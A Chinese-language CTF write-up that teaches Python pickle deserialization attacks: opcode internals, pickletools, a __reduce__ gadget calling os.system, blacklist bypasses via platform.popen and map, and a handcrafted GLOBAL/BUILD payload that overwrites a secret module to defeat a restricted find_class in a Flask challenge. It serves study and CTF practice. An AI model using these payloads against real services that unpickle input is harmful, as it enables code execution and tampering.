前言
在XCTF高校戰疫之中,我看到了一道pickle反序列化的題目,但因為太菜了花了好久才做出來,最近正好在學flask,直接配合pickle學一下。
找了半天終於找到一個大佬,這里就結合大佬的文章寫一下。
目錄:
- Pickle的簡單介紹
- pickletools
- __reduce__
- c操作碼
- 參考
正文
0x00 Pickle的簡單介紹
在很多任務中我們需要把一些內容存儲起來,以備后續利用。如果我們要存儲的只是字符串或者數字,我們只需要把它寫進文件。而要是我們需要存儲的是一個dict,一個list,甚至是一個對象時,就會很麻煩。通行的做法是:通過一套方案,把對象翻譯成一個字符串,然后把字符串寫進文件;讀取的時候,通過讀文件拿到字符串,然后翻譯成類的一個實例。這就是序列化和反序列化。下面寫一個例子:
import pickle class dairy():
data=1
x = dairy() print(pickle.dumps(x)) #b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' string = b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01.' y = pickle.loads(string) print(y) # <__main__.dairy object at 0x7fb6cfb30290>
pickle 是一種棧語言,有不同的編寫方式,基於一個輕量的 PVM
PVM 由三部分組成:
-
指令處理器
從流中讀取 opcode 和參數,並對其進行解釋處理。重復這個動作,直到遇到
.
這個結束符后停止。最終留在棧頂的值將被作為反序列化對象返回。
-
stack
由 Python 的 list 實現,被用來臨時存儲數據、參數以及對象。
-
memo
由 Python 的 dict 實現,為 PVM 的整個生命周期提供存儲
PS:注意下 stack、memo 的實現方式,方便理解下面的指令。默認版本為3號,而我們最經常用的是0號。以下內容都是0號版本。
當前用於 pickling 的協議共有 5 種。使用的協議版本越高,讀取生成的 pickle 所需的 Python 版本就要越新。 --v0 版協議是原始的 “人類可讀” 協議,並且向后兼容早期版本的 Python。 --v1 版協議是較早的二進制格式,它也與早期版本的 Python 兼容。 --v2 版協議是在 Python 2.3 中引入的。它為存儲 new-style class 提供了更高效的機制。欲了解有關第 2 版協議帶來的改進,請參閱 PEP 307。 --v3 版協議添加於 Python 3.0。它具有對 bytes 對象的顯式支持,且無法被 Python 2.x 打開。這是目前默認使用的協議,也是在要求與其他 Python 3 版本兼容時的推薦協議。 --v4 版協議添加於 Python 3.4。它支持存儲非常大的對象,能存儲更多種類的對象,還包括一些針對數據格式的優化。有關第 4 版協議帶來改進的信息,請參閱 PEP 3154。
指令集:
MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
0x01 pickletools
現在越來越多的CTF題目已經不滿足於讓你用以下的腳本getshell了。
import os, pickle class Test(object): def __reduce__(self): return (os.system,('ls',)) print(pickle.dumps(Test(), protocol=0))
所以手寫pickle已經成為了日常。而學習手寫pickle的一個最好的工具就是 pickletools 。pickletools是python自帶的pickle調試器,有三個功能:反匯編一個已經被打包的字符串、優化一個已經被打包的字符串、返回一個迭代器來供程序使用。我們一般使用前兩種。
示例代碼:
import pickle import pickletools class dairy(): def __init__(self): #別犯傻啊 self.date = 20200311 self.text = "QWQ" self.todo = ["Web","cypto","misc"] x = dairy() s = pickle.dumps(x) print(s) pickletools.dis(s)
運行結果:
b'\x80\x03c__main__\ndairy\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00dateq\x03Jw;4\x01X\x04\x00\x00\x00textq\x04X\x03\x00\x00\x00QWQq\x05X\x04\x00\x00\x00todoq\x06]q\x07(X\x03\x00\x00\x00Webq\x08X\x05\x00\x00\x00cyptoq\tX\x04\x00\x00\x00miscq\neub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ dairy' 18: q BINPUT 0 20: ) EMPTY_TUPLE 21: \x81 NEWOBJ 22: q BINPUT 1 24: } EMPTY_DICT 25: q BINPUT 2 27: ( MARK 28: X BINUNICODE 'date' 37: q BINPUT 3 39: J BININT 20200311 44: X BINUNICODE 'text' 53: q BINPUT 4 55: X BINUNICODE 'QWQ' 63: q BINPUT 5 65: X BINUNICODE 'todo' 74: q BINPUT 6 76: ] EMPTY_LIST 77: q BINPUT 7 79: ( MARK 80: X BINUNICODE 'Web' 88: q BINPUT 8 90: X BINUNICODE 'cypto' 100: q BINPUT 9 102: X BINUNICODE 'misc' 111: q BINPUT 10 113: e APPENDS (MARK at 79) 114: u SETITEMS (MARK at 27) 115: b BUILD 116: . STOP highest protocol among opcodes = 2
這就是反匯編功能:解析那個字符串,然后告訴你這個字符串干了些什么。每一行都是一條指令。接下來就是優化功能:
import pickle import pickletools class dairy(): def __init__(self): #別犯傻啊 self.date = 20200311 self.text = "QWQ" self.todo = ["Web","cypto","misc"] x = dairy() s = pickle.dumps(x) s =pickletools.optimize(s) print(s) pickletools.dis(s)
運行結果:
b'\x80\x03c__main__\ndairy\n)\x81}(X\x04\x00\x00\x00dateJw;4\x01X\x04\x00\x00\x00textX\x03\x00\x00\x00QWQX\x04\x00\x00\x00todo](X\x03\x00\x00\x00WebX\x05\x00\x00\x00cyptoX\x04\x00\x00\x00misceub.' 0: \x80 PROTO 3 2: c GLOBAL '__main__ dairy' 18: ) EMPTY_TUPLE 19: \x81 NEWOBJ 20: } EMPTY_DICT 21: ( MARK 22: X BINUNICODE 'date' 31: J BININT 20200311 36: X BINUNICODE 'text' 45: X BINUNICODE 'QWQ' 53: X BINUNICODE 'todo' 62: ] EMPTY_LIST 63: ( MARK 64: X BINUNICODE 'Web' 72: X BINUNICODE 'cypto' 82: X BINUNICODE 'misc' 91: e APPENDS (MARK at 63) 92: u SETITEMS (MARK at 21) 93: b BUILD 94: . STOP highest protocol among opcodes = 2
可以看到,字符串s
比以前短了很多,而且反匯編結果中,BINPUT
指令沒有了。所謂“優化”,其實就是把不必要的PUT
指令給刪除掉。這個PUT
意思是把當前棧的棧頂復制一份,放進儲存區——很明顯,我們這個class並不需要這個操作,可以省略掉這些PUT
指令。
至於反序列化的原理,太菜了怕講不好,直接看大佬的文章就好了。(就在參考里)
PS: 使用pickletools.dis
分析一個字符串時,如果.
執行完畢之后棧里面還有東西,會拋出一個錯誤;而pickle.loads
沒有這么嚴格的檢查——它會正常結束。大家應該都知道反序列化字符串的拼接吧。(不知道可以去看看BUUCTF的piapiapia這道題)。通過這種方式我們就有可能實現反序列化字符串的拼接。
0x02 __reduce__:快消失的方法
說到 pickle 反序列化漏洞,__reduce__ 可以說是萬惡之源了。它的指令碼是 R 。它的作用:
- 取當前棧的棧頂記為
args
,然后把它彈掉。 - 取當前棧的棧頂記為
f
,然后把它彈掉。 - 以
args
為參數,執行函數f
,把結果壓進當前棧。
測試腳本上面有,跟像我一樣的新人說一下吧,__reduce__ 就像是 PHP 中的 __wakeup 即觸發反序列化就自動調用。(這個漏洞現在真的快滅絕了,想要看保護動物的可以去BUUCTF的ikun。有一步就是這個。)回到正題,怎么過濾掉 __reduce__ 呢?很簡單,直接禁用 R 操作碼就可以了。現在大多數的CTF題目都過濾了 R 操作碼,那么不用 __reduce__ 我們還有什么方法呢?
0x02.5 黑名單就不是防黑客的QwQ(我真是取標題鬼才)
2018-XCTF-HITB-WEB : Python's-Revenge的過濾是這樣的,沒有直接白名單,反而用黑名單禁用了一串函數:
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
是是是,你禁用多,但是黑名單在CTF的環境下基本上都是有漏網之魚的。這道題也不例外,漏網之魚就是 platform.popen() 。你不禁用 R 指令,那么就用R指令。另外,這道題考的好像是另一個點:
class Exploit(object): def __reduce__(self): return map,(os.system,["ls"])
我根本不知道map能這么做。(太菜了)。反正黑名單不可取就對了。
0x03 c操作碼:真正的萬金油
上面說過c操作碼即GLOBAL操作符。它連續讀取兩個字符串module
和name
,規定以\n
為分割;接下來把module.name
這個東西壓進棧。
PS:GLOBAL操作符讀取全局變量,是使用的find_class
函數。而find_class
對於不同的協議版本實現也不一樣。總之,它干的事情是“去x
模塊找到y
”,y
必須在x
的頂層(也即,y不能在嵌套的內層)。
所以在這樣的任務下:給出一個字符串,反序列化之后,name和grade需要與blue這個module里面的name、grade相對應。(這個例子直接用大佬的圖吧)。
不能用R
指令碼了,不過沒關系。還記得我們的c
指令碼嗎?它專門用來獲取一個全局變量。我們先弄一個正常的Student來看看序列化之后的效果:
如何用c
指令來換掉這兩個字符串呢?以name的為例,只需要把硬編碼的rxz
改成從blue
引入的name
,寫成指令就是:cblue\nname\n
。把用於編碼rxz
的X\x03\x00\x00\x00rxz
替換成我們的這個global指令,來看看改造之后的效果:
我個人的理解是,直接取出 blue.py 中對應的變量的值,拿它來當做自己傳入的值。
這樣我們輸入就相當於是 blue.py 中的變量了。但是這樣就萬無一失了嗎?
0x04 c操作符的真正用法
上面的方法是有局限的,c操作符是依賴 find_class 這個方法的,而 find_class 是可以被出題人重寫的。不幸的是,現在好多出題人都喜歡重寫find_class。比如:XCTF高校戰疫的一道題。
import base64 import io import sys import pickle app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一給我哩giaogiao', 'Giao') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
審計源碼之后我們發現這道題和之前的目的一模一樣。但是因為 find_class 被重寫,所以之前的方法用不了了。那么怎么辦呢?
首先我們要知道:通過GLOBAL指令引入的變量,可以看作是原變量的引用。我們在棧上修改它的值,會導致原變量也被修改。然后我們就可進行以下操作:
- 通過
__main__.secret
引入這一個module,由於命名空間還在main內,故不會被攔截 - 把一個dict壓進棧,內容是
{'name': 'rua', 'category': 'www'}
- 執行BUILD指令,會導致改寫
__main__.secret.name
和__main__.secret.category
,至此 secret.name
和secret.grade
已經被篡改成我們想要的內容 - 彈掉棧頂,現在棧變成空的
- 照抄正常的Animal序列化之后的字符串,壓入一個正常的Animal對象,name和category分別是'rua'和'www'
由於棧頂是正常的Animal對象,pickle.loads將會正常返回。到手的Animal對象,當然name和category都與secret.name、secret.category對應了——我們剛剛親手把secret篡改掉。
所以我們可以構造出payload:
payload = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'
寫出腳本測試:
import io import sys import pickle class Animal(): def __init__(self,name,category): self.name = name self.category = category def __eq__(self,other): return type(other) is Animal and self.name == other.name and self.category == other.category print(pickle.dumps(Animal('rxz','G2'))) import secret s = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.' #s = pickletools.optimize(s) #pickletools.dis(s) #print(s) res = pickle.loads(s) print(f"{res.name};{res.category}")
運行結果:篡改成功
稍微修改一下就是最終payload。
https://www.zhihu.com/tardis/sogou/art/89132768
https://www.anquanke.com/post/id/188981
。。有點像搬運了。。反正侵權請聯系好吧。